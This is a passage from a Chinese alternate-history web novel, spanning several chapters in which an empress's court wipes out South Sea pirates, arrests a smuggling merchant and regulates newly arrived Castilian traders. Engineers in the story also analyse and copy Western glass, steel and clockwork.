“陛下,”一名年迈的御史颤巍巍出列,“老臣以为,南洋新附,瘴疠之地,民风未化。朝廷耗费巨资,移民实边,营建工坊,是否操之过急?不若暂缓” “暂缓?”慕容嫣清越的声音响起,不高,却瞬间压下了所有争论。 凤眸开阖,神光湛然,扫过阶下群臣。 “南洋,非瘴疠之地,乃膏腴之土。香料、木材、矿产、海产,取之不尽。通商之路,非耗费,乃投资。今日之投入,必成明日百倍之利。” 她目光落在张衡身上:“国库空虚,开源节流。南洋贸易,便是最大之开源。海盗不除,开源受阻。此乃根本,不容置疑。” 她看向周正:“赐予厚礼,非为虚名。乃示之以威,结之以利。南洋诸岛归心,海盗便失根基。此乃釜底抽薪。” 她最后看向那老御史:“移民实边,营建工坊,非操之过急,乃固本培元。无民,何以为疆。无工,何以为器。无器,何以镇海。” 她缓缓起身,凤袍拖尾在金砖地面划过,发出细微而清晰的“沙沙”声。 “传旨。” “其一,户部统筹,紧缩非必要开支,优先保障南洋水师军费、船厂建造及移民实边之需。市舶银号补偿商损之策,准都护府所请,然需严核实情,杜绝虚报。” “其二,工部、焚雷司,全力督造新式战舰,尤以飞鱼级快船为要。加速破浪级后续舰建造。” “其三,兵部、南洋都护府,制定详尽剿匪方略。水师巡防,绣衣卫侦缉,双管齐下。限期三月,肃清泉州至婆罗洲主要航道之海盗!” “其四,”慕容嫣凤眸微凝,带着一丝冷意,“通告天下,凡有阻挠新政、散布流言、动摇国本者,无论身份,严惩不贷!” 旨意如铁,掷地有声。群臣肃然,再无异议。慕容嫣的威仪与洞见,如同定海神针,稳住了朝堂的暗流。 南洋,丁香屿。 海风依旧带着浓郁的香料气息。 土王巴图鲁的宫殿内,气氛却与往日不同。 巴图鲁身着大乾赏赐的锦袍,坐在铺着丝绸的椅子上,面前摆着精致的瓷器和香茗,眼神却有些飘忽。 一名心腹侍卫低声禀报:“大王,大乾水师海燕号快船,昨日在鲨齿礁附近击沉两艘海盗船,毙敌数十。独眼鲨重伤遁逃。” 巴图鲁手指无意识地摩挲着光滑的茶杯:“大乾水师果然厉害。” “还有,”侍卫声音更低,“婆罗洲那边达雅克几个大寨的头人被都护府抓了押往泉州公审据说要杀头示众” 巴图鲁身体微微一颤,眼中闪过一丝恐惧。 他想起金陵紫宸殿上,慕容嫣那双冰冷凤眸,想起林臻玄色身影带来的无形压迫。 婆罗洲的覆灭,就在眼前。 “大王,”侍卫犹豫了一下,“神使那边又派人来了在老地方等您。” 巴图鲁脸色瞬间变得难看。他烦躁地挥手:“不见!告诉他们以后都别来了!丁香屿现在是大乾藩属!本王只认女帝陛下!” 侍卫领命退下。 巴图鲁独自坐在殿内,看着窗外繁忙的港口。 大乾的商船往来穿梭,开拓司的官员在丈量土地,规划新的货栈。 空气中,除了香料的气息,似乎还多了一种名为“秩序”的东西,冰冷而强大。 他端起茶杯,喝了一口,却觉得满嘴苦涩。 他知道,丁香屿,乃至整个南洋,都已不再是过去那个混乱而自由的海域。 帝国的巨轮碾过,留下的,是崭新的、不容抗拒的规则。 而他,只能在这规则下,小心翼翼地生存。 第793章 你们值这个价? 泉州港的喧嚣在白日烈阳下蒸腾,巨大的“镇南港”工地上,蒸汽吊车的嘶鸣与铁锤的铿锵交织成一片。 然而,在这片象征帝国新秩序的繁忙之下,一股阴冷的暗流却在夜色中涌动。 绣衣卫闽越千户严锋,如同一只蛰伏在阴影中的猎豹,正将目光投向港口最繁华的“万通商行”。 “万通商行”后堂密室,烛火摇曳。盐商沈万海肥胖的脸上油光满面,眼神却带着一丝不易察觉的焦躁。 他对面,坐着一个皮肤黝黑、水手打扮的精瘦汉子,正是“黑鲨帮”安插在港口的暗桩“泥鳅”。 “沈老板,风声太紧了。”泥鳅声音压得极低,“海燕号跟鬼似的,专盯鲨齿礁。独眼鲨老大差点栽了,货送不出去。” “送不出去?”沈万海绿豆眼一瞪,“那批盐压在库里,等着发霉?你知道现在外面盐价涨了多少?” “不是不送,”泥鳅舔了舔干裂的嘴唇,“得加钱。风险太大,兄弟们提着脑袋干活。” “加钱?”沈万海冷笑,“上次劫海丰号,你们手脚不干净,留了活口!现在绣衣卫像疯狗一样到处嗅!再加钱?你们值这个价?” “值不值,沈老板心里清楚。”泥鳅眼中闪过一丝凶光,“没有我们,你那批私盐怎么从官仓里漂白的?怎么避开市舶司的抽税?现在想撇清” “闭嘴!”沈万海低喝,额角渗出冷汗,“钱可以加三成。但货,必须三天内运到翡翠岛!否则” “否则怎样?”一个冰冷的声音突兀地在密室门口响起。 沈万海和泥鳅如同被雷击中,猛地回头! 密室的门不知何时被无声推开。绣衣卫千户严锋一身玄色劲装,如同融入阴影的鬼魅,身后数名绣衣卫缇骑手持连发火铳,黑洞洞的铳口对准两人。 “严大人,”沈万海脸色瞬间惨白如纸,肥胖的身躯抖如筛糠。 “拿下!”严锋声音毫无波澜。 缇骑如狼似虎扑上! 泥鳅反应极快,猛地掀翻桌子,烛火倾倒! 他身形如泥鳅般滑向侧窗! 然而,窗棂早已被从外封死! 一支冰冷的弩箭穿透窗纸,精准地钉入他的大腿! “啊!”泥鳅惨嚎倒地。 沈万海瘫软在地,被两名缇骑死死按住。 严锋缓步上前,踩住泥鳅流血的伤腿,声音冷硬如铁:“独眼鲨,藏在哪里。” 泥鳅疼得面目扭曲,却咬紧牙关。 严锋俯身,从泥鳅怀中摸出一块刻着鲨鱼图案的骨牌,又从他鞋底夹层抽出一张折叠的、浸着汗渍的简易海图。海图上,一个不起眼的礁石群被朱砂圈出。 “鬼牙礁,”严锋嘴角勾起一丝冰冷的弧度,“倒是个藏身的好地方。” 他目光转向面无人色的沈万海:“沈老板,勾结海盗,劫掠商船,走私官盐,贿赂市舶司官吏桩桩件件,够你沈家满门抄斩几回了。” “大人饶命我招,我全招。”沈万海涕泪横流,心理防线彻底崩溃。 泉州船厂秘密海湾。 夜色深沉,海风带着咸腥的凉意。 巨大的“破浪号”铁甲战舰如同蛰伏的钢铁巨兽,停泊在月光下。 甲板上,水师提督赵猛一身戎装,面容冷峻。 他身后,是三百名精挑细选、手持新式连发火铳、腰佩精钢短刃的“跳帮队”精锐。 “目标,鬼牙礁。”赵猛声音低沉,“海燕号已先行封锁外围航道。破浪号负责正面强攻!跳帮队,随我登岛!清剿残匪!活捉独眼鲨!” “是!”低沉的应和声在甲板上回荡。 “呜——!”低沉的汽笛声响起!“破浪号”庞大的身躯缓缓启动,喷吐着浓烟,劈开墨色的海浪,驶向茫茫大海。 与此同时,“海燕号”快船如同幽灵般,早已抵达“鬼牙礁”外围。 楚惜灵一身靛蓝工装,清冷的眼眸透过千里镜,观察着那片在月光下嶙峋狰狞的礁石群。 几艘破旧的海盗船如同依附在礁石上的藤壶,隐约可见。 “方位,正东偏北十五度,距离三里。”楚惜灵声音平稳,“目标,敌船锚泊区。装填高爆弹。三发急速射。” “是!”炮手迅速操作。 “轰!轰!轰!” 三道橘红色的火舌撕裂夜空!炮弹带着凄厉的呼啸,精准地砸入海盗船群中! “轰隆!轰隆!轰隆!” 剧烈的爆炸接连响起!火光冲天,木屑纷飞! 一艘海盗船直接被炸成两截,其余船只燃起熊熊大火,礁石群瞬间陷入一片火海与混乱,海盗的惊呼、惨嚎声隐约传来! “左满舵!全速前进!跳帮队准备!”赵猛在“破浪号”舰桥厉喝! “破浪号”庞大的身躯碾开波浪,如同愤怒的巨兽,直扑火光冲天的“鬼牙礁”! 舰首巨大的“焚天神雷”主炮缓缓转动,对准了礁石上隐约可见的简陋营寨! “开火!” “轰——!” 震耳欲聋的巨响!主炮喷吐出长达数丈的火龙!沉重的爆破弹如同陨石般砸入营寨中央! “轰隆——!” 地动山摇!整个礁石仿佛都在颤抖!营寨瞬间被夷为平地!碎石、木屑、残肢断臂混合着硝烟冲天而起! “跳帮队!登岛!”赵猛拔刀怒吼! 数十艘小艇如同离弦之箭,从“破浪号”两侧放下!三百名跳帮队员如同下山的猛虎,在火铳的掩护下,呐喊着冲向硝烟弥漫的礁石! 短兵相接! 火铳的爆鸣、兵刃的碰撞、垂死的惨嚎瞬间响彻夜空!负隅顽抗的海盗在精良的装备和训练有素的跳帮队面前,如同土鸡瓦狗,迅速崩溃! 赵猛一马当先,手中长刀翻飞,砍翻两名海盗。他目光如电,扫过混乱的战场,最终锁定了一个在亲卫拼死掩护下、试图逃向礁石深处小船的身影——正是“独眼鲨”! “哪里走!”赵猛怒吼,掷出手中长刀! 长刀如同闪电,穿透一名亲卫的胸膛,余势不减,狠狠钉入“独眼鲨”的后心! “呃”独眼鲨独眼中满是难以置信,低头看着胸前透出的刀尖,缓缓栽倒在地。 战斗很快结束。 残余海盗或死或降。“鬼牙礁”海盗巢穴,在帝国水师的雷霆怒火下,化为一片焦土与废墟。 金陵,紫宸殿。 巨大的羊皮海疆图前,慕容嫣玄黑镶金凤袍拖尾逶迤。 内侍无声呈上两份密报:泉州绣衣卫肃清内奸,擒获沈万海及海盗暗桩;闽越水师奇袭“鬼牙礁”,毙海盗头目“独眼鲨”,剿灭“黑鲨帮”残部。 慕容嫣凤眸沉静,指尖在“泉州”与“鬼牙礁”上轻轻一点。 “传林臻、户部尚书张衡、兵部尚书赵武、工部尚书李崇、礼部尚书周正觐见。”她声音清越。 片刻,林臻玄色常服,与几位重臣步入大殿。 “泉州之事,诸位已知。”慕容嫣声音平静无波,“内奸肃清,海盗伏诛。南洋商路,当可畅通。” “陛下圣明!”众臣躬身。 “然,”慕容嫣凤眸扫过众人,“新政推行,非一日之功。南洋都护府奏请,移民实边,营建工坊,筑港修路,耗资甚巨。国库空虚,乃实情。” 户部尚书张衡欲言又止。 “开源节流。”慕容嫣声音清晰,“开源,首在商税。南洋商路既通,市舶司当严查偷漏,广辟税源。节流,非削军费,乃裁汰冗员,停建非急之务。工部、焚雷司,新舰建造,当以飞鱼级快船为主,兼顾破浪级后续舰。镇南级巨舰,暂缓。” 工部尚书李崇、焚雷司主事楚惜灵微微颔首。 “兵部,”慕容嫣看向赵武,“水师巡防南洋,以护航清匪为要。婆罗洲驻军,当就地屯田,以补军需。减少北粮南运之耗。” “臣遵旨!”赵武抱拳。 “礼部,”慕容嫣目光转向周正,“万国来朝大典,彰显国威,耗费在所难免。然赐礼,当重意而非重物。南洋诸岛,慕我文教。可增派儒生,于诸岛设劝学所,授汉话,传经典。此乃长治久安之策,惠而不费。” “陛下圣虑深远!”周正躬身。 “另,”慕容嫣声音转沉,“新政推行,朝野或有非议。然南洋之利,关乎国运。凡有阻挠新政、散布流言、动摇国本者”她凤眸微抬,扫过阶下群臣,声音带着无形的威压,“无论勋贵朝臣,商贾巨室,绣衣卫,皆可先斩后奏!” 殿内一片死寂。林臻深邃的眼眸中闪过一丝锐利的光芒。 “退下吧。”慕容嫣拂袖。 群臣躬身退出。 紫宸殿内,重归寂静。 慕容嫣缓步走向御座,玄黑镶金凤袍拖尾在金砖地面划过,发出细微而清晰的“沙沙”声。 她立于巨大的海疆图前,凤眸凝视着那片辽阔的深蓝。 第794章 关税减三成,水师护航 泉州港的晨曦穿透薄雾,洒在波光粼粼的海面上。 巨大的“镇南港”工地上,蒸汽吊车的嘶鸣与号子声交织,宣告着新一天的开始。 港口码头,“海燕号”快船如银梭般轻盈地靠岸,卸下满载的南洋香料与珍稀木材。 空气中弥漫着丁香、豆蔻的馥郁,混合着海水的咸腥与新漆的刺鼻气味。 码头上,商贾云集,脚夫穿梭,市舶司的官吏手持簿册,仔细核验着货物与“通商符引”。 新政的齿轮,在喧嚣与秩序中,开始缓缓转动。 “万通商行”的招牌依旧高悬,但主人已换。 沈万海勾结海盗、走私官盐的罪行被绣衣卫查实,家产抄没,本人被判斩立决,悬首泉州港示众三日。 商行由市舶司暂时接管,更名为“通海商行”,正招募新的掌柜与伙计。 商行门前,张贴着醒目的告示:“奉南洋都护府令,凡诚信经营、依法纳税之商贾,皆可参与通海商行竞标承包。市舶银号提供低息借贷,水师护航优先保障。” 告示前,人头攒动。几名衣着体面的商贾低声议论。 “沈家倒了,这通海可是块肥肉。” “肥肉?也得有本事吃。绣衣卫盯着呢,规矩严得很。” “规矩严,可路子正啊!关税减三成,水师护航,听说新造的飞鱼级快船专跑南洋,又快又稳!这买卖,做得!” “是啊,听说海燕号前些日子在鬼牙礁把黑鲨帮老巢都端了!独眼鲨都毙了!这海路,太平了!” 人群中,一个年轻商人眼神闪烁。 他家族受沈万海牵连,生意一落千丈。 此刻,他看着“通海商行”的招牌,又看看告示上“诚信经营”四个大字,心中挣扎。 最终,他深吸一口气,挤进人群,向市舶司官吏询问竞标细则。 秩序的重建,伴随着旧势力的崩塌与新机遇的萌发。 泉州船厂核心工坊内,蒸汽弥漫,金属撞击声不绝于耳。 楚惜灵一身靛蓝工装,清冷的脸上沾着油污,正俯身在一台巨大的蒸汽轮机旁。 几名焚雷卫工程师围着她,神情专注。 “主传动轴第三号承压轴承温度异常。”一名工程师盯着仪表盘,声音紧张。 楚惜灵拿起特制的“听诊器”,贴在滚烫的轴承外壳上,凝神细听。 刺耳的金属摩擦声隐约可闻。 “润滑不足合金配方微调,”她放下听诊器,声音平稳,“取七号配方润滑脂重新注入压力提升半成。” 工程师立刻执行。 润滑脂注入后,仪表盘上轴承温度缓缓下降,摩擦声减弱。 “记录数据持续监测,”楚惜灵吩咐。 她走到一旁巨大的三联装炮塔旋转基座模型前。模型正在模拟高速旋转,发出低沉的嗡鸣。 “密封环渗漏。”另一名工程师报告。 楚惜灵蹲下身,仔细观察着密封环缝隙中渗出的细微油渍。 “硫化橡胶配方耐压极限不足”她指尖划过冰冷的金属,“加入石墨微粒提升耐磨及高温稳定性重新浇铸样品” “是!”工程师迅速记录。 工坊一角,几名格物院学徒正小心翼翼地操作着一台新式“分光镜”,分析着从南洋运来的几种奇特矿石的光谱。 楚惜灵偶尔扫过一眼,清冷的眼眸中闪过一丝微光。 帝国的战舰,正在这些细微的摩擦、渗漏与光谱分析中,一点点变得更强、更快、更致命。 南洋,丁香屿。 港口比往日更加繁忙。 除了悬挂大乾蟠龙旗的商船,几艘造型奇特、高桅白帆的西洋商船也停泊在深水区。 船身上绘着醒目的十字徽记与狮鹫图案。 土王巴图鲁的宫殿内,一场别开生面的宴席正在进行。 巴图鲁身着锦袍,坐在主位,略显拘谨。 左侧是大乾开拓司主事周桐,面带和煦微笑。 右侧,则是一位金发碧眼、高鼻深目、身着华丽紧身外套的西洋商人,自称“费迪南德男爵”,来自遥远的“卡斯蒂利亚王国”。 通译紧张地转述着双方的话语。 “尊敬的土王陛下,”费迪南德生硬地行了一个抚胸礼,“卡斯蒂利亚王国商人费迪南德,向您致敬我们带来精美的玻璃器皿,锋利的钢剑,以及新大陆的可可和烟草,希望与贵岛通商。” 巴图鲁看着桌上摆放的晶莹剔透的玻璃酒杯、寒光闪闪的十字长剑,以及散发着奇异香气的可可豆和烟草,眼中充满好奇与贪婪。他下意识地看向周桐。 周桐微微一笑,端起青花瓷茶杯,抿了一口:“费迪南德男爵远道而来,诚意可嘉。然丁香屿乃大乾藩属,通商事宜,需遵大乾律法及南洋都护府章程。关税、货物品类、交易场所,皆有定规。男爵若有意,可至泉州港南洋都护府衙署,申领外藩通商符引,一切按章办理即可。” 费迪南德听完通译的话,眉头微皱:“泉州太远,我们希望直接在丁香屿交易。” “男爵有所不知,”周桐笑容不变,语气却带着不容置疑的坚定,“南洋诸岛通商,皆以泉州为枢纽。此乃大乾女帝陛下钦定之国策。一则便于管理,二则保障安全,三则公平交易,童叟无欺。男爵的货物,若合规,在泉州,必能卖个好价钱。” 费迪南德还想说什么,周桐已转向巴图鲁:“土王陛下,您说是吗。” 巴图鲁连忙点头:“是,一切按天朝规矩办。” 费迪南德看着周桐从容的笑容和巴图鲁唯唯诺诺的样子,又瞥了一眼港口停泊的、炮口森然的“海燕号”快船,最终耸耸肩,挤出一丝笑容:“好吧,我们会去泉州。” 周桐举杯:“愿大乾与卡斯蒂利亚,友谊长存,通商互利。” 宴席继续,气氛微妙。西洋商人的到来,如同投入平静湖面的石子,预示着南洋的贸易格局,将迎来更广阔却也更复杂的变局。 金陵,紫宸殿后,御书房。 慕容嫣并未身着繁复朝服,而是一身素雅的月白常服,外罩同色薄纱褙子,乌发松松绾起,仅簪一支白玉凤簪。 她立于巨大的羊皮海疆图前,指尖划过泉州,掠过丁香屿,最终停留在那片标注着“西洋诸国”的辽阔海域。 内侍无声呈上密报:泉州商市复苏,新商行竞标在即;船厂“破浪号”轮机调试进展;丁香屿西洋商船来访及周桐处置详情。 慕容嫣凤眸沉静,一一阅过。 当看到“卡斯蒂利亚”、“玻璃器皿”、“钢剑”、“可可”、“烟草”等字样时,她指尖微微一顿。 “西洋人终于来了。”她轻声自语,声音听不出喜怒。 她缓步走到书案前,猩红的朱笔蘸墨。 “传旨。” “其一,密令南洋都护王允,西洋商船抵达泉州,需以礼相待,然务必严查其货物,尤以火器、舆图为重。凡有违禁,一律扣留。交易须在市舶司指定番坊进行,严禁私下接触土王及岛民。着绣衣卫严密监控。” “其二,着令格物院,选派精干工匠,接触西洋商人,设法观摩其玻璃、钢器工艺,若有图纸、样品,不惜重金购得。焚雷司协同,分析其火器形制。” “其三,通告礼部,于泉州番坊设四夷馆,延聘通晓西洋语言之儒生或归化蕃商为通译。授其礼仪,宣我教化。凡有西洋商人子弟愿留学者,可入馆习汉话、经典。” “其四,”慕容嫣笔锋微顿,目光深邃,“密令沿海水师,加强远海巡防。绘制更详尽的西洋海图。凡遇西洋大型舰队,勿主动挑衅,亦勿示弱。保持警戒,速报京师。” 旨意传出。 慕容嫣放下朱笔,走到窗边。 窗外,金陵城沐浴在夕阳的金辉中,气象万千。 她凤眸遥望西方,那片未知的深蓝海域,既蕴藏着无尽的财富与知识,也潜藏着未知的威胁与挑战。 第795章 西洋效仿 泉州港的“番坊”区,空气中弥漫着异域香料、皮革与海风咸腥混合的奇特气味。 新漆的“四夷馆”匾额下,身着儒衫的通译与几位高鼻深目、金发碧眼的西洋商人正艰难地交流着。 费迪南德男爵的卡斯蒂利亚商船“金羊毛号”停泊在深水区,水手们正将一箱箱货物卸下,在绣衣卫缇骑的严密监视下,运往指定货栈。 市舶司官吏手持簿册,对照着“外藩通商符引”,仔细核验着清单:晶莹剔透的彩色玻璃器皿、寒光闪闪的十字钢剑、散发着浓郁香气的可可豆与烟草、色彩艳丽的羽毛织物以及几座镶嵌着齿轮、指针滴答作响的西洋自鸣钟。 “四夷馆”内,费迪南德男爵抚摸着光滑的下巴,打量着馆内陈设的瓷器与字画,眼中闪过一丝不易察觉的轻蔑,随即换上得体的笑容,对通译道: “请转告尊敬的大乾官员,我们带来的货物,都是卡斯蒂利亚王国的珍宝。尤其是这些玻璃器皿,其纯净度与色彩,远胜贵国常见的琉璃。还有这些钢剑,采用秘法锻造,削铁如泥。” 通译谨慎地转述。负责接待的市舶司副提举赵文轩,一身青色官袍,神色淡然:“男爵的货物,确有其独到之处。然我大乾地大物博,物产丰饶。玻璃器皿,我朝亦有琉璃坊所产精品,清透如玉。至于刀剑” 他微微一笑,示意随从呈上一柄焚雷司新制的精钢雁翎刀,“男爵请看此刀。” 费迪南德接过雁翎刀,入手沉重,刀身线条流畅,寒光内敛。 他试着用手指弹了弹刀身,发出清越的嗡鸣。 他眼神微变,抽出随身佩戴的十字剑,两刃相击! “铮——!” 一声脆响! 十字剑刃上,赫然出现一个细小的缺口! 而雁翎刀毫发无损! 费迪南德脸色微变,强笑道:“好刀,好刀,大乾果然名不虚传。” “交易,贵在诚信互利。”赵文轩收回雁翎刀,语气平和,“男爵的货物,市舶司已按章程核验定价。玻璃器皿、可可、烟草、羽毛织物,皆可入市交易。然钢剑、火铳(费迪南德试图夹带少量样品)等军器,乃违禁之物,依律扣留。” “这,”费迪南德笑容僵硬,“只是样品展示。” “展示亦不可。”赵文轩语气转冷,“大乾律法森严,望男爵谨守。交易地点,限番坊指定商行。交易对象,需持市舶司核发外藩交易许可之商贾。交易税赋,按货值三成缴纳。此乃定规,不容商议。” 费迪南德看着赵文轩不容置疑的眼神,又瞥了一眼馆外巡逻的、手持新式火铳的玄甲士兵,最终挤出一丝笑容:“明白,明白,入乡随俗嘛。” 交易在“番坊”指定的“通海商行”分行内进行。 沈明身着崭新绸衫,紧张而兴奋地接待着费迪南德。 西洋玻璃器皿的绚丽色彩引得泉州富商争相竞价,可可豆与烟草的异域风情也吸引了不少好奇的目光。 然而,沈明牢记市舶司的叮嘱,交易过程一丝不苟,账目清晰,税银足额缴纳。 费迪南德看着货物迅速售罄,换回沉甸甸的银锭和精美的丝绸瓷器,眼中贪婪与不甘交织。 他试图私下接触沈明,暗示绕过市舶司进行更大宗的“特殊交易”,却被沈明婉拒。 角落里,两名扮作伙计的绣衣卫密探,将一切尽收眼底。 泉州船厂,焚雷司核心工坊。 气氛凝重。楚惜灵清冷的眼眸,正透过特制的“显微水晶镜”(格物院新制),仔细观察着工作台上几样物品:一柄被拆解的卡斯蒂利亚十字剑残片;一块色彩艳丽的西洋玻璃碎片;以及一座被完全拆散架的西洋自鸣钟。 “钢剑,”楚惜灵指尖拈起一片剑刃残片,“冶炼工艺尚可然杂质较多韧性不足远逊我百炼钢” “玻璃,”她拿起玻璃碎片,“配方独特含铅及特殊矿物,故色彩艳丽,折射强,然硬度脆性大,易碎。” 她的目光最终落在那堆精密的齿轮与发条上。“自鸣钟机巧核心在于擒纵机构及发条储能,”她拿起一个奇特的“工”字形小铜件,仔细端详其结构,“设计巧妙,然材质普通易磨损。” “楚大人,”一名年轻工程师递上一份报告,“经分光镜析验,西洋玻璃中,除石英砂、碱、石灰外,确含铅及少量锑、锰等金属氧化物。钢剑残片含碳量不均,夹杂硫、磷杂质较多。” “记录。”楚惜灵声音平稳,“玻璃配方,可尝试仿制,优化其硬度与韧性。钢材冶炼,其杂质控制,无甚可取。自鸣钟擒纵机构,设计思路可借鉴,然材质需替换为精钢,辅以硫化橡胶减震。” 她走到一旁巨大的“飞鱼级”快船传动轴模型前,拿起一个刚浇铸好的、嵌有石墨微粒的黑色橡胶密封环样品。 “西洋火铳样品分析如何。” “回大人,”另一名工程师道,“其铳管为熟铁卷制钻膛,工艺粗糙,内壁不平,射程精度远逊我燧发铳,且装填繁琐易炸膛。” 楚惜灵微微颔首,清冷的眼眸中闪过一丝了然。 她提笔,在一份密报上写下清秀而冷静的字迹:“西洋器物,奇技可取,然军械、冶炼之核心,未胜于我。其长在商贾流通、器物精巧。可取其长,补我之短,然不足为惧。” 密报将随下一班“铁龙”快车,直送金陵。 丁香屿,土王宫殿。 夜色深沉。 巴图鲁屏退左右,独自在偏殿内踱步,神色焦躁。 桌上,放着一小袋沉甸甸的金币和几块色彩斑斓的西洋玻璃。 这是费迪南德通过一个达雅克中间人,秘密送来的“礼物”。 “大乾规矩太严,”巴图鲁摩挲着金币,喃喃自语,“交易都要经泉州抽税三成,到我手寥寥无几。” “费迪南德说,可以直接在丁香屿交易,绕过市舶司给我三倍价钱。”他眼中贪婪闪烁,随即又被恐惧淹没,“可是绣衣卫无处不在,泉州港沈万海的下场你不知道?” 他想起悬挂在泉州港示众的沈万海头颅,想起婆罗洲达雅克头人的下场,身体不由自主地颤抖。 他猛地抓起桌上的金币,想扔出去,却又舍不得。 最终,他颓然坐下,将金币和玻璃扫进一个木盒,深深藏入床榻下的暗格。 他走到窗边,望着港口方向隐约可见的“海燕号”炮舰轮廓,长长叹了口气。 帝国的威压,如同无形的枷锁,让他心中的贪婪之火,只能压抑在恐惧的冰层之下。 金陵,御书房。烛火通明。 慕容嫣月白常服,乌发松松绾起,仅簪白玉凤簪,更显清丽脱俗。 她端坐书案后,面前摊开着两份密报:泉州市舶司关于西洋商船交易详情及费迪南德私下活动的报告;焚雷司楚惜灵对西洋器物的技术分析密报。 她凤眸沉静,指尖在楚惜灵的密报上轻轻划过。 “西洋器物,奇技可取军械、冶炼之核心,未胜于我。”她低声重复,嘴角勾起一丝极淡的弧度。 内侍无声呈上第三份密报:丁香屿绣衣卫密探,关于巴图鲁收受西洋贿赂的线报。 慕容嫣凤眸微凝,随即恢复平静。 她提笔,猩红的朱砂在宣纸上落下清晰的批注: “泉州事,处置甚妥。西洋商贾,重利轻义,需严加管束,然不必因噎废食。其所长,如玻璃、钟表、海图测绘之术,可着格物院、钦天监、工部,择其善者而习之,融会贯通。” “巴图鲁,小利熏心,然尚无胆悖逆。着南洋都护府,对其稍加安抚,增赐丝绸瓷器,重申通商之利。绣衣卫,对其监视照旧,若有异动,立斩。” “另,”她笔锋微顿,目光投向西方,“密令沿海水师,加派快船,巡弋东海以远。凡遇西洋大型舰队,务必详察其舰船形制、火炮配置、航行轨迹,绘图速报。着礼部,精选通晓西洋语言之人才,筹建西洋通译馆,以备不时之需。” 批注完毕,她放下朱笔。 窗外,月色如水,洒满庭院。 慕容嫣起身,月白衣袂拂过地面,无声无息。 第796章 小心绣衣卫 泉州港的“番坊”区,白日里喧嚣的交易散去,只余下海风卷过空荡货栈的呜咽。 费迪南德男爵的“金羊毛号”并未如其他商船般满载丝绸瓷器返航,而是静静停泊在深水区,船帆半收,如同蛰伏的阴影。 船舱深处,烛火摇曳,费迪南德金发下的碧眼闪烁着阴鸷的光。他对面,坐着几名心腹船员和一名皮肤黝黑、眼神狡黠的达雅克向导“毒蝎”。 “泉州规矩太严,”费迪南德手指敲击着桌面,声音低沉,“市舶司抽税三成,交易还要在他们眼皮底下,利润被榨干了。” “男爵大人,”毒蝎操着生硬的卡斯蒂利亚语,“丁香屿巴图鲁是个贪婪又胆小的老鼠,他收了我们的金子和玻璃却不敢行动。” “不敢行动?”费迪南德冷笑,“那就逼他行动。” 他摊开一张简陋的南洋海图,手指点在“翡翠岛”的位置:“翡翠岛土王黑石与巴图鲁有世仇而且他更大胆” “男爵的意思?”毒蝎眼中闪过一丝精光。 “你带人去翡翠岛,”费迪南德声音冰冷,“告诉黑石,我们卡斯蒂利亚王国愿意提供他最锋利的钢剑,最精良的火铳,帮助他统一附近岛屿成为真正的南洋之王。” 他顿了顿,眼中贪婪更盛:“条件是他必须允许我们在翡翠岛建立永久商站,自由交易不受大乾约束,并且将丁香屿的丁香贸易垄断权交给我们。” “火铳?”毒蝎舔了舔嘴唇,“黑石一定会动心。” “还有,”费迪南德眼中闪过一丝狠厉,“想办法让巴图鲁知道翡翠岛得到了我们的支持,并且准备对付他恐惧和贪婪会让他主动来找我们。” “明白,”毒蝎狞笑,“我这就出发。” “小心绣衣卫,”费迪南德提醒,“走魔鬼礁那条秘道。” “放心男爵,”毒蝎身影一闪,消失在舱门外的黑暗中。 费迪南德端起一杯琥珀色的葡萄酒,望向窗外泉州港的灯火,嘴角勾起一丝冰冷的弧度。 绕过泉州,控制南洋,才是他真正的目标。 丁香屿,土王宫殿。 巴图鲁在寝殿内焦躁地踱步,床榻暗格里的金币和玻璃像烙铁般灼烧着他的心。 一名心腹侍卫匆匆而入,脸色苍白。 “大王不好了。翡翠岛那边传来消息。黑石他得到了西洋人的支持。西洋人给了他很多火铳和钢剑,他扬言要灭了丁香屿抢走我们的丁香林。” “什么!”巴图鲁如遭雷击,肥胖的身躯猛地一颤,“西洋人他们怎么敢。” “千真万确!”侍卫声音颤抖,“探子亲眼看见翡翠岛的武士在海边试射火铳威力惊人。” 巴图鲁瘫坐在椅子上,冷汗瞬间浸透了锦袍。 恐惧如同冰冷的毒蛇,缠绕住他的心脏。黑石本就凶悍,有了西洋火铳他不敢想象丁香屿的结局。 “西洋人费迪南德,”他猛地想起那些金灿灿的诱惑,“他说过可以帮我。” 一个疯狂的念头在他心中滋生。 恐惧压倒了理智,贪婪之火在恐惧的冰层下重新燃起。 “备船!”巴图鲁猛地站起,声音嘶哑,“秘密去泉州港,我要见费迪南德男爵!” 泉州船厂,焚雷司格物院深处。 一间被严格守卫的密室中,烛火通明。 楚惜灵清冷的脸上毫无波澜,正透过那台巨大的“显微水晶镜”,凝视着一片薄如蝉翼的金属碎片——那是从西洋自鸣钟擒纵叉上切割下来的样本。 水晶镜的视野里,金属的微观结构纤毫毕现。 不同于大乾精钢的致密均匀,这片金属内部布满了细小的气泡和杂质颗粒,晶粒粗大,边缘甚至能看到细微的裂纹。 “含磷过高,”楚惜灵低声自语,“导致晶界脆化易断裂。” 她移开视线,看向旁边一份格物院学徒刚送来的报告:“西洋火铳铳管样品分析:材质为普通熟铁,含碳量不均,硫、磷杂质含量高。内壁车削痕迹明显,线膛浅且不规则” 她提笔,在实验记录上写下清秀的字迹:“西洋冶金,重形制而轻材质。其火器,铳管易炸,寿命短;其机巧,材质脆,不耐久。然其玻璃着色、钟表擒纵设计,确有独到之处。” 她放下笔,走到另一张工作台前。 台上,摆放着几块颜色各异的西洋玻璃碎片,以及格物院工匠根据光谱分析初步仿制出的几块样品。 一块仿制的深蓝色玻璃,在烛光下折射出瑰丽的光泽,纯净度竟不逊于西洋原品。 “铅锑锰,”楚惜灵指尖拂过冰冷的玻璃表面,“配方可优化。” 她拿起一块格物院自制的、嵌有精钢擒纵叉的改良版自鸣钟机芯模型, 轻轻上紧发条。齿轮啮合,发出均匀而稳定的“滴答”声,远比西洋原品更加清脆悦耳。技术的反向渗透,在无声无息中进行。 金陵,紫宸殿后,御书房。 慕容嫣月白常服,乌发松松绾起,立于巨大的西洋海图前。 她的指尖,正从泉州港缓缓移向东海深处那片标注着“未知”的深蓝海域。 内侍无声呈上两份密报:泉州绣衣卫急报,费迪南德密使“毒蝎”离港,去向不明;南洋都护府密报,丁香屿土王巴图鲁秘密离岛,疑似前往泉州。 慕容嫣凤眸沉静,目光在“翡翠岛”与“丁香屿”之间停留片刻,随即移向海图边缘那片迷雾般的海域。 “东海巡防舰队有消息吗。”她声音清越。 